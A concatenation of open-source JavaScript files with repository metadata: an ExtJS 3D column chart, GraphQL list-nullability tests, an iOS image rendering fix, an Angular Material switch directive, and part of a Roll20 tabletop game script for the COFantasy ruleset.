{ type: 'numeric', position: 'left', grid: true, label: { rotate: { degrees: -30 } }, listeners: { 'rangechange': function (range) { if (!range) { return; } // expand the range slightly to make sure markers aren't clipped var max = range[1]; if (max >= 35) { range[1] = max - max % 5 + 5; } else { range[1] = max - max % 2 + 2; } } } }, { type: 'category', position: 'bottom' } ] }] }); /* * 3D Column Sprite */ Ext.define('KitchenSink.view.charts.touch.ColumnSprite3D', { alias: 'sprite.columnSeries3d', extend: 'Ext.chart.series.sprite.Bar', inheritableStatics: { def: { defaults: { transformFillStroke: true, lineJoin: 'bevel' } } }, lastClip: null, drawBar: function (ctx, surface, clip, left, top, right, bottom, itemId) { var me = this, attr = me.attr, center = (left + right) / 2, barWidth = (right - left) * 0.33333, depthWidth = barWidth * 0.5, fill = attr.fillStyle, color, darkerColor, lighterColor; color = Ext.draw.Color.create(fill.isGradient ? fill.getStops()[0].color : fill), darkerColor = color.createDarker(0.05), lighterColor = color.createLighter(0.25); // top ctx.beginPath(); ctx.moveTo(center - barWidth, top); ctx.lineTo(center - barWidth + depthWidth, top + depthWidth); ctx.lineTo(center + barWidth + depthWidth, top + depthWidth); ctx.lineTo(center + barWidth, top); ctx.lineTo(center - barWidth, top); ctx.fillStyle = lighterColor.toString(); ctx.fillStroke(attr); // right side ctx.beginPath(); ctx.moveTo(center + barWidth, top); ctx.lineTo(center + barWidth + depthWidth, top + depthWidth); ctx.lineTo(center + barWidth + depthWidth, bottom + depthWidth); ctx.lineTo(center + barWidth, bottom); ctx.lineTo(center + barWidth, top); ctx.fillStyle = darkerColor.toString(); ctx.fillStroke(attr); // front ctx.beginPath(); ctx.moveTo(center - barWidth, bottom); ctx.lineTo(center - barWidth, top); ctx.lineTo(center + barWidth, top); ctx.lineTo(center + barWidth, bottom); ctx.lineTo(center - barWidth, bottom); ctx.fillStyle = fill.isGradient ? fill : color.toString(); ctx.fillStroke(attr); } }); /* * 3D Column Series */ Ext.define('KitchenSink.view.charts.touch.ColumnSeries3D', { extend: 'Ext.chart.series.Bar', requires: ['KitchenSink.view.charts.touch.ColumnSprite3D'], seriesType: 'columnSeries3d', alias: 'series.column3d', type: 'column3d', config: { itemInstancing: null } });
folevo/task.loc
public/js/ext-5.0.1/examples/kitchensink/app/view/charts/column/Column3D.js
JavaScript
bsd-3-clause
5,586
/** * Copyright (c) 2015, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. */ // 80+ char lines are useful in describe/it, so ignore in this file. /*eslint-disable max-len */ import { expect } from 'chai'; import { describe, it } from 'mocha'; import { formatError } from '../../error'; import { execute } from '../executor'; import { parse } from '../../language'; import { GraphQLSchema, GraphQLObjectType, GraphQLInt, GraphQLList, GraphQLNonNull } from '../../type'; // resolved() is shorthand for Promise.resolve() var resolved = Promise.resolve.bind(Promise); // rejected() is shorthand for Promise.reject() var rejected = Promise.reject.bind(Promise); /** * This function creates a test case passed to "it", there's a time delay * between when the test is created and when the test is run, so if testData * contains a rejection, testData should be a function that returns that * rejection so as not to trigger the "unhandled rejection" error watcher. */ function check(testType, testData, expected) { return async () => { var data = { test: testData }; var dataType = new GraphQLObjectType({ name: 'DataType', fields: () => ({ test: { type: testType }, nest: { type: dataType, resolve: () => data }, }) }); var schema = new GraphQLSchema({ query: dataType }); var ast = parse('{ nest { test } }'); var response = await execute(schema, ast, data); // Formatting errors for ease of test writing. var result = response.errors; if (response.errors) { result = { data: response.data, errors: response.errors.map(formatError) }; } else { result = response; } expect(result).to.deep.equal(expected); }; } describe('Execute: Handles list nullability', () => { describe('[T]', () => { var type = new GraphQLList(GraphQLInt); describe('Array<T>', () => { it('Contains values', check(type, [1, 2], { data: { nest: { test: [ 1, 2 ] } } } )); it('Contains null', check(type, [1, null, 2], { data: { nest: { test: [ 1, null, 2 ] } } } )); it('Returns null', check(type, null, { data: { nest: { test: null } } } )); }); describe('Promise<Array<T>>', () => { it('Contains values', check(type, resolved([1, 2]), { data: { nest: { test: [ 1, 2 ] } } } )); it('Contains null', check(type, resolved([1, null, 2]), { data: { nest: { test: [ 1, null, 2 ] } } } )); it('Returns null', check(type, resolved(null), { data: { nest: { test: null } } } )); it('Rejected', check(type, () => rejected(new Error('bad')), { data: { nest: { test: null } }, errors: [ { message: 'bad', locations: [ { line: 1, column: 10 } ] } ] } )); }); describe('Array<Promise<T>>', () => { it('Contains values', check(type, [resolved(1), resolved(2)], { data: { nest: { test: [ 1, 2 ] } } } )); it('Contains null', check(type, [resolved(1), resolved(null), resolved(2)], { data: { nest: { test: [ 1, null, 2 ] } } } )); it('Contains reject', check(type, () => [resolved(1), rejected(new Error('bad')), resolved(2)], { data: { nest: { test: [ 1, null, 2 ] } }, errors: [ { message: 'bad', locations: [ { line: 1, column: 10 } ] } ] } )); }); }); describe('[T]!', () => { var type = new GraphQLNonNull(new GraphQLList(GraphQLInt)); describe('Array<T>', () => { it('Contains values', check(type, [1, 2], { data: { nest: { test: [ 1, 2 ] } } } )); it('Contains null', check(type, [1, null, 2], { data: { nest: { test: [ 1, null, 2 ] } } } )); it('Returns null', check(type, null, { data: { nest: null }, errors: [ { message: 'Cannot return null for non-nullable type.', locations: [ { line: 1, column: 10 } ] } ] } )); }); describe('Promise<Array<T>>', () => { it('Contains values', check(type, resolved([1, 2]), { data: { nest: { test: [ 1, 2 ] } } } )); it('Contains null', check(type, resolved([1, null, 2]), { data: { nest: { test: [ 1, null, 2 ] } } } )); it('Returns null', check(type, resolved(null), { data: { nest: null }, errors: [ { message: 'Cannot return null for non-nullable type.', locations: [ { line: 1, column: 10 } ] } ] } )); it('Rejected', check(type, () => rejected(new Error('bad')), { data: { nest: null }, errors: [ { message: 'bad', locations: [ { line: 1, column: 10 } ] } ] } )); }); describe('Array<Promise<T>>', () => { it('Contains values', check(type, [resolved(1), resolved(2)], { data: { nest: { test: [ 1, 2 ] } } } )); it('Contains null', check(type, [resolved(1), resolved(null), resolved(2)], { data: { nest: { test: [ 1, null, 2 ] } } } )); it('Contains reject', check(type, () => [resolved(1), rejected(new Error('bad')), resolved(2)], { data: { nest: { test: [ 1, null, 2 ] } }, errors: [ { message: 'bad', locations: [ { line: 1, column: 10 } ] } ] } )); }); }); describe('[T!]', () => { var type = new GraphQLList(new GraphQLNonNull(GraphQLInt)); describe('Array<T>', () => { it('Contains values', check(type, [1, 2], { data: { nest: { test: [ 1, 2 ] } } } )); it('Contains null', check(type, [1, null, 2], { data: { nest: { test: null } }, errors: [ { message: 'Cannot return null for non-nullable type.', locations: [ { line: 1, column: 10 } ] } ] } )); it('Returns null', check(type, null, { data: { nest: { test: null } } } )); }); describe('Promise<Array<T>>', () => { it('Contains values', check(type, resolved([1, 2]), { data: { nest: { test: [ 1, 2 ] } } } )); it('Contains null', check(type, resolved([1, null, 2]), { data: { nest: { test: null } }, errors: [ { message: 'Cannot return null for non-nullable type.', locations: [ { line: 1, column: 10 } ] } ] } )); it('Returns null', check(type, resolved(null), { data: { nest: { test: null } } } )); it('Rejected', check(type, () => rejected(new Error('bad')), { data: { nest: { test: null } }, errors: [ { message: 'bad', locations: [ { line: 1, column: 10 } ] } ] } )); }); describe('Array<Promise<T>>', () => { it('Contains values', check(type, [resolved(1), resolved(2)], { data: { nest: { test: [ 1, 2 ] } } } )); it('Contains null', check(type, [resolved(1), resolved(null), resolved(2)], { data: { nest: { test: null } }, errors: [ { message: 'Cannot return null for non-nullable type.', locations: [ { line: 1, column: 10 } ] } ] } )); it('Contains reject', check(type, () => [resolved(1), rejected(new Error('bad')), resolved(2)], { data: { nest: { test: null } }, errors: [ { message: 'bad', locations: [ { line: 1, column: 10 } ] } ] } )); }); }); describe('[T!]!', () => { var type = new GraphQLNonNull(new GraphQLList(new GraphQLNonNull(GraphQLInt))); describe('Array<T>', () => { it('Contains values', check(type, [1, 2], { data: { nest: { test: [ 1, 2 ] } } } )); it('Contains null', check(type, [1, null, 2], { data: { nest: null }, errors: [ { message: 'Cannot return null for non-nullable type.', locations: [ { line: 1, column: 10 } ] } ] } )); it('Returns null', check(type, null, { data: { nest: null }, errors: [ { message: 'Cannot return null for non-nullable type.', locations: [ { line: 1, column: 10 } ] } ] } )); }); describe('Promise<Array<T>>', () => { it('Contains values', check(type, resolved([1, 2]), { data: { nest: { test: [ 1, 2 ] } } } )); it('Contains null', check(type, resolved([1, null, 2]), { data: { nest: null }, errors: [ { message: 'Cannot return null for non-nullable type.', locations: [ { line: 1, column: 10 } ] } ] } )); it('Returns null', check(type, resolved(null), { data: { nest: null }, errors: [ { message: 'Cannot return null for non-nullable type.', locations: [ { line: 1, column: 10 } ] } ] } )); it('Rejected', check(type, () => rejected(new Error('bad')), { data: { nest: null }, errors: [ { message: 'bad', locations: [ { line: 1, column: 10 } ] } ] } )); }); describe('Array<Promise<T>>', () => { it('Contains values', check(type, [resolved(1), resolved(2)], { data: { nest: { test: [ 1, 2 ] } } } )); it('Contains null', check(type, [resolved(1), resolved(null), resolved(2)], { data: { nest: null }, errors: [ { message: 'Cannot return null for non-nullable type.', locations: [ { line: 1, column: 10 } ] } ] } )); it('Contains reject', check(type, () => [resolved(1), rejected(new Error('bad')), resolved(2)], { data: { nest: null }, errors: [ { message: 'bad', locations: [ { line: 1, column: 10 } ] } ] } )); }); }); });
Bernardstanislas/graphql-js
src/executor/__tests__/lists.js
JavaScript
bsd-3-clause
10,579
'use strict'; /** * Mega pixel image rendering library for iOS6 Safari * * Fixes iOS6 Safari's image file rendering issue for large size image (over mega-pixel), * which causes unexpected subsampling when drawing it in canvas. * By using this library, you can safely render the image with proper stretching. * * Copyright (c) 2012 Shinichi Tomita <shinichi.tomita@gmail.com> * Released under the MIT license */ (function () { /** * Detect subsampling in loaded image. * In iOS, larger images than 2M pixels may be subsampled in rendering. */ function detectSubsampling(img) { var iw = img.naturalWidth, ih = img.naturalHeight; if (iw * ih > 1024 * 1024) { // subsampling may happen over megapixel image var canvas = document.createElement('canvas'); canvas.width = canvas.height = 1; var ctx = canvas.getContext('2d'); ctx.drawImage(img, -iw + 1, 0); // subsampled image becomes half smaller in rendering size. // check alpha channel value to confirm image is covering edge pixel or not. // if alpha value is 0 image is not covering, hence subsampled. return ctx.getImageData(0, 0, 1, 1).data[3] === 0; } else { return false; } } /** * Detecting vertical squash in loaded image. * Fixes a bug which squash image vertically while drawing into canvas for some images. */ function detectVerticalSquash(img, iw, ih) { var canvas = document.createElement('canvas'); canvas.width = 1; canvas.height = ih; var ctx = canvas.getContext('2d'); ctx.drawImage(img, 0, 0); var data = ctx.getImageData(0, 0, 1, ih).data; // search image edge pixel position in case it is squashed vertically. var sy = 0; var ey = ih; var py = ih; while (py > sy) { var alpha = data[(py - 1) * 4 + 3]; if (alpha === 0) { ey = py; } else { sy = py; } py = (ey + sy) >> 1; } var ratio = (py / ih); return (ratio === 0) ? 1 : ratio; } /** * Rendering image element (with resizing) and get its data URL */ function renderImageToDataURL(img, options, doSquash) { var canvas = document.createElement('canvas'); renderImageToCanvas(img, canvas, options, doSquash); return canvas.toDataURL('image/jpeg', options.quality || 0.8); } /** * Rendering image element (with resizing) into the canvas element */ function renderImageToCanvas(img, canvas, options, doSquash) { var iw = img.naturalWidth, ih = img.naturalHeight; if ((iw + ih) === false) { return; } var width = options.width, height = options.height; var ctx = canvas.getContext('2d'); ctx.save(); transformCoordinate(canvas, ctx, width, height, options.orientation); var subsampled = detectSubsampling(img); if (subsampled) { iw /= 2; ih /= 2; } var d = 1024; // size of tiling canvas var tmpCanvas = document.createElement('canvas'); tmpCanvas.width = tmpCanvas.height = d; var tmpCtx = tmpCanvas.getContext('2d'); var vertSquashRatio = doSquash ? detectVerticalSquash(img, iw, ih) : 1; var dw = Math.ceil(d * width / iw); var dh = Math.ceil(d * height / ih / vertSquashRatio); var sy = 0; var dy = 0; while (sy < ih) { var sx = 0; var dx = 0; while (sx < iw) { tmpCtx.clearRect(0, 0, d, d); tmpCtx.drawImage(img, -sx, -sy); ctx.drawImage(tmpCanvas, 0, 0, d, d, dx, dy, dw, dh); sx += d; dx += dw; } sy += d; dy += dh; } ctx.restore(); tmpCanvas = tmpCtx = null; } /** * Transform canvas coordination according to specified frame size and orientation * Orientation value is from EXIF tag */ function transformCoordinate(canvas, ctx, width, height, orientation) { switch (orientation) { case 5: case 6: case 7: case 8: canvas.width = height; canvas.height = width; break; default: canvas.width = width; canvas.height = height; } switch (orientation) { case 2: // horizontal flip ctx.translate(width, 0); ctx.scale(-1, 1); break; case 3: // 180 rotate left ctx.translate(width, height); ctx.rotate(Math.PI); break; case 4: // vertical flip ctx.translate(0, height); ctx.scale(1, -1); break; case 5: // vertical flip + 90 rotate right ctx.rotate(0.5 * Math.PI); ctx.scale(1, -1); break; case 6: // 90 rotate right ctx.rotate(0.5 * Math.PI); ctx.translate(0, -height); break; case 7: // horizontal flip + 90 rotate right ctx.rotate(0.5 * Math.PI); ctx.translate(width, -height); ctx.scale(-1, 1); break; case 8: // 90 rotate left ctx.rotate(-0.5 * Math.PI); ctx.translate(-width, 0); break; default: break; } } var URL = window.URL && window.URL.createObjectURL ? window.URL : window.webkitURL && window.webkitURL.createObjectURL ? window.webkitURL : null; /** * MegaPixImage class */ function MegaPixImage(srcImage) { if (window.Blob && srcImage instanceof Blob) { if (!URL) { throw Error('No createObjectURL function found to create blob url'); } var img = new Image(); img.src = URL.createObjectURL(srcImage); this.blob = srcImage; srcImage = img; } if (!srcImage.naturalWidth && !srcImage.naturalHeight) { var _this = this; srcImage.onload = srcImage.onerror = function () { var listeners = _this.imageLoadListeners; if (listeners) { _this.imageLoadListeners = null; for (var i = 0, len = listeners.length; i < len; i++) { listeners[i](); } } }; this.imageLoadListeners = []; } this.srcImage = srcImage; } /** * Rendering megapix image into specified target element */ MegaPixImage.prototype.render = function (target, options, callback) { if (this.imageLoadListeners) { var _this = this; this.imageLoadListeners.push(function () { _this.render(target, options, callback); }); return; } options = options || {}; var imgWidth = this.srcImage.naturalWidth, imgHeight = this.srcImage.naturalHeight, width = options.width, height = options.height, maxWidth = options.maxWidth, maxHeight = options.maxHeight, doSquash = !this.blob || this.blob.type === 'image/jpeg'; if (width && !height) { height = (imgHeight * width / imgWidth) << 0; } else if (height && !width) { width = (imgWidth * height / imgHeight) << 0; } else { width = imgWidth; height = imgHeight; } if (maxWidth && width > maxWidth) { width = maxWidth; height = (imgHeight * width / imgWidth) << 0; } if (maxHeight && height > maxHeight) { height = maxHeight; width = (imgWidth * height / imgHeight) << 0; } var opt = {width: width, height: height}; for (var k in options) { opt[k] = options[k]; } var tagName = target.tagName.toLowerCase(); if (tagName === 'img') { target.src = renderImageToDataURL(this.srcImage, opt, doSquash); } else if (tagName === 'canvas') { renderImageToCanvas(this.srcImage, target, opt, doSquash); } if (typeof this.onrender === 'function') { this.onrender(target); } if (callback) { callback(); } if (this.blob) { this.blob = null; URL.revokeObjectURL(this.srcImage.src); } }; /** * Export class to global */ if (typeof define === 'function' && define.amd) { define([], function () { return MegaPixImage; }); // for AMD loader } else if (typeof exports === 'object') { module.exports = MegaPixImage; // for CommonJS } else { this.MegaPixImage = MegaPixImage; } }.call(this));
msumaran/Framework-Codeigniter
static/bower_components/ui-cropper/source/js/3rdparty/ios-imagefile-megapixel.js
JavaScript
mit
9,344
/*! * Angular Material Design * https://github.com/angular/material * @license MIT * v0.9.0 */ (function () { "use strict"; /** * @private * @ngdoc module * @name material.components.switch */ angular.module('material.components.switch', [ 'material.core', 'material.components.checkbox' ]) .directive('mdSwitch', MdSwitch); /** * @private * @ngdoc directive * @module material.components.switch * @name mdSwitch * @restrict E * * The switch directive is used very much like the normal [angular checkbox](https://docs.angularjs.org/api/ng/input/input%5Bcheckbox%5D). * * As per the [material design spec](http://www.google.com/design/spec/style/color.html#color-ui-color-application) * the switch is in the accent color by default. The primary color palette may be used with * the `md-primary` class. * * @param {string} ng-model Assignable angular expression to data-bind to. * @param {string=} name Property name of the form under which the control is published. * @param {expression=} ng-true-value The value to which the expression should be set when selected. * @param {expression=} ng-false-value The value to which the expression should be set when not selected. * @param {string=} ng-change Angular expression to be executed when input changes due to user interaction with the input element. * @param {boolean=} md-no-ink Use of attribute indicates use of ripple ink effects. * @param {string=} aria-label Publish the button label used by screen-readers for accessibility. Defaults to the switch's text. * * @usage * <hljs lang="html"> * <md-switch ng-model="isActive" aria-label="Finished?"> * Finished ? * </md-switch> * * <md-switch md-no-ink ng-model="hasInk" aria-label="No Ink Effects"> * No Ink Effects * </md-switch> * * <md-switch ng-disabled="true" ng-model="isDisabled" aria-label="Disabled"> * Disabled * </md-switch> * * </hljs> */ function MdSwitch(mdCheckboxDirective, $mdTheming, $mdUtil, $document, $mdConstant, $parse, $$rAF, $mdGesture) { var checkboxDirective = mdCheckboxDirective[0]; return { restrict: 'E', priority:210, // Run before ngAria transclude: true, template: '<div class="md-container">' + '<div class="md-bar"></div>' + '<div class="md-thumb-container">' + '<div class="md-thumb" md-ink-ripple md-ink-ripple-checkbox></div>' + '</div>'+ '</div>' + '<div ng-transclude class="md-label">' + '</div>', require: '?ngModel', compile: compile }; function compile(element, attr) { var checkboxLink = checkboxDirective.compile(element, attr); // no transition on initial load element.addClass('md-dragging'); return function (scope, element, attr, ngModel) { ngModel = ngModel || $mdUtil.fakeNgModel(); var disabledGetter = $parse(attr.ngDisabled); var thumbContainer = angular.element(element[0].querySelector('.md-thumb-container')); var switchContainer = angular.element(element[0].querySelector('.md-container')); // no transition on initial load $$rAF(function() { element.removeClass('md-dragging'); }); checkboxLink(scope, element, attr, ngModel); if (angular.isDefined(attr.ngDisabled)) { scope.$watch(disabledGetter, function(isDisabled) { element.attr('tabindex', isDisabled ? -1 : 0); }); } // These events are triggered by setup drag $mdGesture.register(switchContainer, 'drag'); switchContainer .on('$md.dragstart', onDragStart) .on('$md.drag', onDrag) .on('$md.dragend', onDragEnd); var drag; function onDragStart(ev) { // Don't go if ng-disabled===true if (disabledGetter(scope)) return; ev.stopPropagation(); element.addClass('md-dragging'); drag = { width: thumbContainer.prop('offsetWidth') }; element.removeClass('transition'); } function onDrag(ev) { if (!drag) return; ev.stopPropagation(); ev.srcEvent && ev.srcEvent.preventDefault(); var percent = ev.pointer.distanceX / drag.width; //if checked, start from right. else, start from left var translate = ngModel.$viewValue ? 1 + percent : percent; // Make sure the switch stays inside its bounds, 0-1% translate = Math.max(0, Math.min(1, translate)); thumbContainer.css($mdConstant.CSS.TRANSFORM, 'translate3d(' + (100*translate) + '%,0,0)'); drag.translate = translate; } function onDragEnd(ev) { if (!drag) return; ev.stopPropagation(); element.removeClass('md-dragging'); thumbContainer.css($mdConstant.CSS.TRANSFORM, ''); // We changed if there is no distance (this is a click a click), // or if the drag distance is >50% of the total. var isChanged = ngModel.$viewValue ? drag.translate < 0.5 : drag.translate > 0.5; if (isChanged) { applyModelValue(!ngModel.$viewValue); } drag = null; } function applyModelValue(newValue) { scope.$apply(function() { ngModel.$setViewValue(newValue); ngModel.$render(); }); } }; } } MdSwitch.$inject = ["mdCheckboxDirective", "$mdTheming", "$mdUtil", "$document", "$mdConstant", "$parse", "$$rAF", "$mdGesture"]; })();
tenevdev/idiot
public/lib/angular-material/modules/js/switch/switch.js
JavaScript
mit
5,419
//version 0.4 // jshint undef:true // jshint eqeqeq:false /* globals Set */ /* globals getAttrByName */ /* globals findObjs */ /* globals _ */ /* globals createObj */ /* globals log */ /* globals sendChat */ /* globals state */ /* globals Campaign */ /* globals getObj */ /* globals randomInteger */ /* globals spawnFx */ /* globals spawnFxBetweenPoints */ /* globals VecMath */ /* globals on */ /* globals toFront */ /* globals playerIsGM */ // Needs the Vector Math scripty var COF_loaded = false; var COFantasy = COFantasy || function() { "use strict"; var DEF_MALUS_APRES_TOUR_5 = true; var IMAGE_OMBRE = "https://s3.amazonaws.com/files.d20.io/images/2781735/LcllgIHvqvu0HAbWdXZbJQ/thumb.png?13900368485"; var IMAGE_DOUBLE = "https://s3.amazonaws.com/files.d20.io/images/33854984/q10B3KtWsCxcMczLo4BSUw/thumb.png?1496303265"; var HISTORY_SIZE = 150; var eventHistory = []; var updateNextInitSet = new Set(); var BS_LABEL = 'text-transform: uppercase; display: inline; padding: .2em .6em .3em; font-size: 75%; line-height: 2; color: #fff; text-align: center; white-space: nowrap; vertical-align: baseline; border-radius: .25em;'; var BS_LABEL_DEFAULT = 'background-color: #777;'; var BS_LABEL_PRIMARY = 'background-color: #337ab7;'; var BS_LABEL_SUCCESS = 'background-color: #5cb85c;'; var BS_LABEL_INFO = 'background-color: #5bc0de;'; var BS_LABEL_WARNING = 'background-color: #f0ad4e;'; var BS_LABEL_DANGER = 'background-color: #d9534f;'; var bs_alert = 'padding: 5px; border: 1px solid transparent; border-radius: 4px;'; var bs_alert_success = 'color: #3c763d; background-color: #dff0d8; border-color: #d6e9c6;'; var bs_alert_danger = 'color: #a94442; background-color: #f2dede; border-color: #ebccd1;'; // List of states: var cof_states = { mort: 'status_dead', surpris: 'status_lightning-helix', assome: 'status_pummeled', renverse: 'status_back-pain', aveugle: 'status_bleeding-eye', affaibli: 'status_half-heart', etourdi: 'status_half-haze', paralyse: 'status_fishing-net', ralenti: 'status_snail', endormi: 'status_sleepy', apeure: 'status_screaming' }; function etatRendInactif(etat) { var res = etat == 'mort' || etat == 'surpris' || etat == 'assome' || etat == 'etourdi' || etat == 'paralyse' || etat == 'endormi' || etat == 'apeure'; return res; } function error(msg, obj) { log(msg); log(obj); sendChat("COFantasy", msg); } function getState(personnage, etat) { var token = personnage.token; var charId = personnage.charId; var res = false; if (token !== undefined) { res = token.get(cof_states[etat]); if (token.get('bar1_link') === "") return res; // else, look for the character value, if any if (charId === undefined) charId = token.get('represents'); } if (charId === "") { error("token with a linked bar1 but representing no character", token); return false; } if (etat == 'affaibli') { //special case due to new character sheet var de = parseInt(getAttrByName(charId, 'ETATDE')); if (de === 20) { if (res && token !== undefined) token.set(cof_states[etat], false); return false; } else if (de === 12) { if (!res && token !== undefined) token.set(cof_states[etat], true); return true; } } var attr = findObjs({ _type: 'attribute', _characterid: charId, name: etat }); if (attr.length === 0) { if (res && token !== undefined) token.set(cof_states[etat], false); return false; } if (!res && token !== undefined) token.set(cof_states[etat], true); return true; } function setState(personnage, etat, value, evt) { var token = personnage.token; var charId = personnage.charId; var aff = { affecte: token, prev: { statusmarkers: token.get('statusmarkers') } }; if (_.has(evt, 'affectes')) { var alreadyAff = evt.affectes.find(function(a) { return (a.affecte.id == token.id); }); if (alreadyAff === undefined || alreadyAff.prev.statusmarker === undefined) { evt.affectes.push(aff); } } else evt.affectes = [aff]; if (value && etatRendInactif(etat) && isActive(personnage)) removeFromTurnTracker(token.id, evt); token.set(cof_states[etat], value); if (etat == 'aveugle') { // We also change vision of the token aff.prev.light_losangle = token.get('light_losangle'); if (value) token.set('light_losangle', 0); else token.set('light_losangle', 360); } else if (value && etat == 'mort') { var allToks = findObjs({ _type: "graphic", _pageid: token.get('pageid'), _subtype: "token", layer: "objects" }); allToks.forEach(function(tok) { if (tok.id == token.id) return; var ci = tok.get('represents'); if (ci === '') return; var p = { token: tok, charId: ci }; if (getState(p, 'mort')) return; if (charAttributeAsBool(ci, 'siphonDesAmes')) { soigneToken(p, randomInteger(6), evt, function(s) { sendChar(ci, "siphone l'âme de " + token.get('name') + ". Il récupère " + s + " pv."); }, function() { sendChar(ci, "est déjà au maximum de point de vie. Il laisse échapper l'âme de " + token.get('name')); }); } }); } if (token.get('bar1_link') !== "") { if (charId === '') { error("token with a linked bar1 but representing no character", token); return; } if (etat == 'affaibli') { //special case due to new character sheet var attr = findObjs({ _type: 'attribute', _characterid: charId, name: 'ETATDE' }); if (value) { if (attr.length === 0) { attr = createObj('attribute', { characterid: charId, name: 'ETATDE', current: 12 }); if (_.has(evt, 'attributes')) evt.attributes.push({ attribute: attr, current: null }); else evt.attributes = [{ attribute: attr, current: null }]; } else { attr = attr[0]; if (parseInt(attr.get('current')) != 12) { if (_.has(evt, 'attributes')) evt.attributes.push({ attribute: attr, current: 20 }); else evt.attributes = [{ attribute: attr, current: 20 }]; attr.set('current', 12); } } } else { if (attr.length > 0) { attr = attr[0]; if (parseInt(attr.get('current')) != 20) { if (_.has(evt, 'attributes')) evt.attributes.push({ attribute: attr, current: 12 }); else evt.attributes = [{ attribute: attr, current: 12 }]; attr.set('current', 20); } } } } else { var attrEtat = findObjs({ _type: 'attribute', _characterid: charId, name: etat }); if (value) { if (attrEtat.length === 0) { attrEtat = createObj('attribute', { characterid: charId, name: etat, current: value }); if (_.has(evt, 'attributes')) evt.attributes.push({ attribute: attrEtat, current: null }); else evt.attributes = [{ attribute: attrEtat, current: null }]; } } else { if (attrEtat.length > 0) { attrEtat[0].remove(); if (_.has(evt, 'deletedAttributes')) { evt.deletedAttributes.push(attrEtat[0]); } else { evt.deletedAttributes = [attrEtat[0]]; } } } } } if (!value && etatRendInactif(etat) && isActive(personnage) || etat == 'aveugle') updateInit(token, evt); } function logEvents() { var l = eventHistory.length; log("Historique de taille " + l); eventHistory.forEach(function(evt, i) { log("evt " + i); log(evt); }); } function addEvent(evt) { evt.id = state.COFantasy.eventId++; eventHistory.push(evt); if (eventHistory.length > HISTORY_SIZE) { eventHistory.shift(); } } function findEvent(id) { return eventHistory.find(function(evt) { return (evt.id == id); }); } function lastEvent() { var l = eventHistory.length; if (l === 0) return undefined; return eventHistory[l - 1]; } //Si evt n'est pas défini, annule le dernier evt function undoEvent(evt) { if (evt === undefined) { if (eventHistory.length === 0) { sendChat('COF', "/w GM Historique d'évènements vide"); return; } evt = eventHistory.pop(); } else { eventHistory = eventHistory.filter(function(e) { return (e.id != evt.id); }); } if (evt === undefined) { error("No event to undo", eventHistory); return; } sendChat("COF", "/w GM undo " + evt.type); if (_.has(evt, 'affectes')) undoTokenEffect(evt); if (_.has(evt, 'attributes')) { // some attributes where modified too evt.attributes.forEach(function(attr) { if (attr.current === null) attr.attribute.remove(); else { attr.attribute.set('current', attr.current); if (attr.max) attr.attribute.set('max', attr.max); } }); } // deletedAttributes have a quadratic cost in the size of the history if (_.has(evt, 'deletedAttributes')) { evt.deletedAttributes.forEach(function(attr) { var oldId = attr.id; var nameDel = attr.get('name'); log("Restoring attribute " + nameDel); var newAttr = createObj('attribute', { characterid: attr.get('characterid'), name: nameDel, current: attr.get('current'), max: attr.get('max') }); eventHistory.forEach(function(evt) { if (evt.attributes !== undefined) { evt.attributes.forEach(function(attr) { if (attr.attribute.id == oldId) attr.attribute = newAttr; }); } }); }); } if (_.has(evt, 'combat')) state.COFantasy.combat = evt.combat; if (_.has(evt, 'combat_pageid')) state.COFantasy.combat_pageid = evt.combat_pageid; if (_.has(evt, 'tour')) state.COFantasy.tour = evt.tour; if (_.has(evt, 'init')) state.COFantasy.init = evt.init; if (_.has(evt, 'updateNextInitSet')) updateNextInitSet = evt.updateNextInitSet; if (_.has(evt, 'turnorder')) Campaign().set('turnorder', evt.turnorder); if (_.has(evt, 'initiativepage')) Campaign().set('initiativepage', evt.initiativepage); return; } function undoTokenEffect(evt) { evt.affectes.forEach(function(aff) { var prev = aff.prev; var tok = aff.affecte; if (prev === undefined || tok === undefined) { error("Pas d'état précédant", aff); return; } _.each(prev, function(val, key, l) { tok.set(key, val); }); sendChat("COF", "État de " + tok.get("name") + " restauré."); }); } function caracOfMod(m) { switch (m) { case 'FOR': return 'FORCE'; case 'DEX': return 'DEXTERITE'; case 'CON': return 'CONSTITUTION'; case 'INT': return 'INTELLIGENCE'; case 'SAG': return 'SAGESSE'; case 'CHA': return 'CHARISME'; default: return; } } function modCarac(perso, carac) { var res = Math.floor((charAttributeAsInt(perso, carac, 10) - 10) / 2); return res; } //Renvoie le token et le charId. Si l'id ne correspond à rien, cherche si //on trouve un nom de token, sur la page passée en argument (ou sinon //sur la page active de la campagne) function tokenOfId(id, name, pageId) { var token = getObj('graphic', id); if (token === undefined) { if (name === undefined) return undefined; if (pageId === undefined) { pageId = Campaign().get('playerpageid'); } var tokens = findObjs({ _type: 'graphic', _subtype: 'token', _pageid: pageId, name: name }); if (tokens.length === 0) return undefined; if (tokens.length > 1) { error("Ambigüité sur le choix d'un token : il y a " + tokens.length + " tokens nommés" + name, tokens); } token = tokens[0]; } var charId = token.get('represents'); if (charId === '') { error("le token sélectionné ne représente pas de personnage", token); return undefined; } return { token: token, charId: charId }; } //ressource est optionnel, et si présent doit être un attribut function bouton(perso, action, text, ressource) { if (action === undefined || action === '') return text; if (action.startsWith('!')) { if (ressource) action += " --decrAttribute " + ressource.id; } else if (ressource) { action = "!cof-utilise-consommable " + perso.token.id + " " + ressource.id + " --message " + action; } else { action = "!cof-lancer-sort 0 " + action; } action = action.replace(/%/g, '&#37;').replace(/\)/g, '&#41;').replace(/\?/g, '&#63;').replace(/@/g, '&#64;').replace(/\[/g, '&#91;').replace(/]/g, '&#93;'); action = action.replace(/\'/g, '&apos;'); // escape quotes return "<a href='" + action + "'>" + text + "</a>"; } function jetPerso(perso, caracteristique, difficulte, titre, playerId, options) { options = options || {}; var evt = options.evt || { type: "Jet de " + caracteristique }; var display = startFramedDisplay(playerId, titre, perso); if (difficulte === undefined) { jetCaracteristique(perso, caracteristique, options, function(rt) { addLineToFramedDisplay(display, "<b>Résultat :</b> " + rt.texte); addStatistics(playerId, ["Jet de carac", caracteristique], rt.roll); // Maintenant, on diminue la malédiction si le test est un échec var attrMalediction = tokenAttribute(perso, 'malediction'); if (attrMalediction.length > 0) { if (rt.echecCritique) diminueMalediction(perso, evt, attrMalediction); else if (!rt.critique) { var action = "!cof-resultat-jet " + state.COFantasy.eventId; var ligne = "L'action est-elle "; ligne += bouton(perso, action + " reussi", "réussie"); ligne += " ou " + bouton(perso, action + " rate", 